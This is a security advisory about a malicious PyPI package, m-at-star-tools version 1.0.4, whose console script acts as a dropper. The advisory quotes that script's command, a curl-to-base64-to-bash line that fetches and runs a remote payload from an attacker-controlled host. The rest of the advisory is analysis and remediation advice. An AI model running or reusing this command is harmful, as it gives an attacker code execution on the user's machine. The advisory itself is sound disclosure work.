M-AT-STAR-Tools

GHSA-c3q4-7vj4-5c7x

Malicious code in m-at-star-tools (PyPI)

Details

**Severity:** Critical

**Affected versions:** `= 1.0.4`

## Source: amazon-inspector (2934ab77e0615ccddf2cf336b023659bafca2fe94bbf2f78e4c0d2a2ba1d7bf2)
The package's sole console_script `m0scan` (m0scan/main.py:6-7) executes `curl -sL https://mspy.qzz.io/M0scan | base64 -d | bash`, fetching an opaque base64-encoded shell payload from a dynamic-DNS-style host (`mspy.qzz.io`) unrelated to any publisher infrastructure and piping it directly to bash. The fetch is unpinned, unverified (no hash, no signature), obfuscated (base64), and points at a mutable URL — whoever controls `mspy.qzz.io/M0scan` controls arbitrary code execution on every user who runs the tool. Package metadata is throwaway: author `M-AT-STAR`, generic GitHub homepage, 5-byte README, no email or license. The package self-describes as an 'M0scan installation wrapper' — the wrapper IS the dropper. Any invocation of the documented CLI yields full attacker code execution on the installer's machine.

## Source: kam193 (1c1aca876bca2f4006ca7cad627f7eb20efcd63e7d9706852e1740d4c0d66dc1)
The package downloads remote encoded code, which then downloads the next encrypted stage. The encryption of final data requires knowing a code.


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Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.


Campaign: 2026-05-m-at-star-tools


Reasons (based on the campaign):


 - Downloads and executes a remote malicious script.


 - obfuscation

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Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/49d0cfba3689ed9b195d101d3a2a964c6a77f767/osv/malicious/pypi/m-at-star-tools/MAL-2026-4812.json))

**References:**
- https://bad-packages.kam193.eu/pypi/package/m-at-star-tools
- https://github.com/ossf/malicious-packages/blob/49d0cfba3689ed9b195d101d3a2a964c6a77f767/osv/malicious/pypi/m-at-star-tools/MAL-2026-4812.json
- https://pypi.org/project/M-AT-STAR-Tools/1.0.4
- https://github.com/advisories/GHSA-c3q4-7vj4-5c7x

Compromised versions (1)

= 1.0.4

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.